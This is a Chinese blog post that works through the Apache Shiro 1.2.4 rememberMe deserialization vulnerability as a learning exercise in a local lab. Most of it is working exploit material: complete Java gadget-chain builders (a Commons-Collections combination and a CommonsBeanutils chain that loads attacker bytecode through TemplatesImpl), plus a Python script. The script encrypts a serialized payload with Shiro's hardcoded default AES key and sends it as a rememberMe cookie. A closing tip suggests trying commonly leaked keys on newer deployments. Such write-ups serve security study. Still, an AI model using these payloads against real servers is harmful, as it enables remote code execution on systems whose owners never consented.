JAVA反序列化- Shiro反序列化
环境搭建
shiro
源码,导入源码后,idea
从shiro/samples/web
进入
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
编辑shiro/samples/web
目录下的pom.xml
,将jstl
的版本修改为1.2
。默认没有版本,会在解析时报错。
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
漏洞原理
Shiro≤1.2.4
版本默认使用CookieRememberMeManager
,当获取用户请求时,大致的关键处理过程如下:
- 获取
Cookie
中rememberMe
的值 - 对
rememberMe
进行Base64
解码 - 使用
AES
进行解密 - 对解密的值进行反序列化
由于AES
加密的Key
是硬编码的默认Key
,因此攻击者可通过使用默认的Key
对恶意构造的序列化数据进行加密,当CookieRememberMeManager
对恶意的rememberMe
进行以上过程处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞。
CC链攻击
shiro
的依赖中,并没有commons-collections
。如果有的话,由于shiro
的反序列化重写了resolveClass
,导致反序列化时无法加载数组类。也就是只有CC2
这条链可以打。但CC2
必须要commons-collections4
的依赖才可以。所以学习了一下commons-collections3
的依赖,拼接一下CC2、3、6链来打。
在测试时,先加入依赖shiro/samples/web/pom.xml
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
关键点在于TiedMapEntry
传入的key
是可以控制,且会一直走到LazyMap
中的transform(key)
这条链就组合成功了。
除了这样打,还可以使用JRMP
来进行RMI
攻击。
至于最后为什么不能加载数组类。底层是tomcat
发序列化实现的类加载是和URLClassLoader
类似的加载逻辑。
完整代码
// CC3
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field fieldName = c.getDeclaredField("_name");
// 为了满足if判断逻辑
fieldName.setAccessible(true);
fieldName.set(templates,"aaa");
// 获取字节码属性
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
// 获取字节码
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
// CC2
Transformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
// CC6
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazy = LazyMap.decorate(map, invokerTransformer);
// 传入key为templates,在LazyMap.get时,可以成功调用
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazy,templates );
HashMap<Object, Object> map2 = new HashMap<>();
// 类似URLDNS那条链,先不填充,put后再填充,以便序列化时不触发,反序列化时触发
Class aClass = tiedMapEntry.getClass();
Field declaredField = aClass.getDeclaredField("map");
declaredField.setAccessible(true);
declaredField.set(tiedMapEntry,new HashMap<>());
map2.put(tiedMapEntry, "bbb");
declaredField.set(tiedMapEntry,lazy);
Utils.serialize(map2);
无依赖攻击(CB)
commons-beanutils 1.8.3
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
CB
,简化了javabean
操作,会自动调用对象上的get
属性的函数。
PropertyUtils.getProperty(对象,属性)
在攻击链上,也是组合CC2
、CC3
的链,然后再加上CB
自己的东西。
从头来就是
由于TemplatesImpl
中有个方法getOutputProperties
,刚好符合JavaBean
的格式。而在这函数中,刚好如CC3
中的一样,调用了newTransformer()
,进而就可以调用到后面的defineClass
。
然后就使用CB
的调用方式,看谁调用了getProperty
PropertyUtils.getProperty(templates,"outputProperties");
最后就找到BeanComparator.compare
函数
于是就和CC2
的链组合到一起了。链就走完了
需要注意的参数控制是:
- 新建一个
BeanComparator
实例时,需要使用传入一个字符串加一个Compare
的构造函数,避免shiro
反序列化时找不到CC
链中的东西。就筛选一下传入既实现Compare
接口又实现Serializable
的类。(例如:AttrCompare
) - 后面优先队列入口时,可以直接用
CC2
的方式直接复制粘贴,最后改传入的compare
;也可以先什么都不传,等构造好后再传,就相对麻烦点。
完整代码
// CC3
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field fieldName = c.getDeclaredField("_name");
// 为了满足if判断逻辑
fieldName.setAccessible(true);
fieldName.set(templates,"aaa");
// 获取字节码属性
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
// 获取字节码
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
// 不进行序列化时触发需要的一个属性
// Field tfactory = c.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());
PropertyUtils.getProperty(templates,"outputProperties");
// CB。注意构造方法,不要将CC链中的东西加入
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
// CC2第一种写法,较复杂
/*// PriorityQueue.readObject中会触发comparator.compare。这里当add第二个值时会触发comparator.compare,所以这里还是先填充其他的Comparator
PriorityQueue<Object> o = new PriorityQueue<>(2,null);// 过 heapify()的 size >>> 1判断逻辑 “2 >>> 1” 0000 0010 -> 0000 0001// “>>>” 右移 补0 以8位为单位
o.add(1); o.add(1);
// 再通过反射填充回装有invokerTransformer的transformingComparator
Class<? extends PriorityQueue> oClass = o.getClass();
Field oClassDeclaredField = oClass.getDeclaredField("comparator");
oClassDeclaredField.setAccessible(true);
oClassDeclaredField.set(o,beanComparator);
Field queueField = oClass.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queue = (Object[]) queueField.get(o);
// queueField.set(o,new Object[]{templates,1});
queue[0]=templates; queue[1]=1;*/
// CC2第二种写法,较简单直接copy,因为最后改回了beanComparator,所以CC中的东西并不会出现。
// PriorityQueue.readObject中会触发comparator.compare。这里当add第二个值时会触发comparator.compare,所以这里还是先填充其他的transformingComparator
PriorityQueue<Object> o = new PriorityQueue<>(2,new TransformingComparator(new ConstantTransformer(1)));
// 过 heapify()的 size >>> 1判断逻辑 “2 >>> 1” 0000 0010 -> 0000 0001// “>>>” 右移 补0 以8位为单位
o.add(templates);
o.add(1);
// 再通过反射填充回装有invokerTransformer的transformingComparator
Class<? extends PriorityQueue> oClass = o.getClass();
Field oClassDeclaredField = oClass.getDeclaredField("comparator");
oClassDeclaredField.setAccessible(true);
oClassDeclaredField.set(o,beanComparator);
// Utils.serialize(o);
注意
- 调试
shiro
时,搜索cookie
开始 cookie
中存在jsessionid
时,不会读取remeberme
的内容- 一般检测返回包中的
remeberme=deleteme
- 加密后,没有反序列化特征
- 直接使用
ysoserial
的CB
链时,会因为版本不对而报错,ysoserial
里面的CB
依赖是1.9.2
,而shiro1.2.4
使用的是1.8.3
。
总结
并不是说Shiro>1.2.4
版本就一定不存在反序列化漏洞,在平常的安全测试中发现一些应用即使使用高版本的Shiro也会存在问题,因为开发者通过自定义Key
的方法又把默认的Key
写回去了,或者一些开发者在写代码的时候习惯拷贝网上的一些代码,同时也拷贝了其他人自定义的Key
,在进行漏洞测试时可以通过搜索网上常见的自定义的Shiro
解密的Key
进行测试
附上学习过程中的代码:
https://github.com/Jarwu/java_shiro_learning
参考
- http://changxia3.com/2020/09/03/Shiro反序列化漏洞笔记一(原理篇)/
- https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsBeanutils1.java
- https://www.bilibili.com/video/BV1uf4y1T7Rq/
其他代码
des加密+request的python脚本
import sys
from datetime import datetime
from Crypto.Cipher import AES
import uuid
import base64
import requests
def get_file_data(filename):
with open(filename, "rb") as f:
data = f.read()
f.close()
return data
def aes_encode(ser_bin):
# aes数据分组长度为128 bit
BS = AES.block_size
# padding
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
# shiro1.2.4 硬编码key
key = "kPH+bIxk5D2deZiIxcaaaA=="
# CBC模式
mode = AES.MODE_CBC
# 偏移量随机
iv = uuid.uuid4().bytes
# 创建加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
# 使用密钥进行AES加密 Base64加密
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(ser_bin)))
return base64_ciphertext.decode("utf-8")
def exp(cipher):
cookies = {
'rememberMe': cipher,
}
headers = {
'Host': 'localhost:8080',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Sec-Fetch-Dest': 'document',
'sec-ch-ua': '"-Not.A/Brand";v="8", "Chromium";v="102"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'Referer': 'http://localhost:8080/samples_web_war/login.jsp',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close',
}
requests.get('http://localhost:8080/samples_web_war/', cookies=cookies, headers=headers)
if __name__ == '__main__':
filename = sys.argv[1]
exp(aes_encode(get_file_data(filename)))
print('success:{}'.format(datetime.now()))
本文来自博客园,作者:Jarwu,转载请注明原文链接:https://www.cnblogs.com/jarwu/p/17680286.html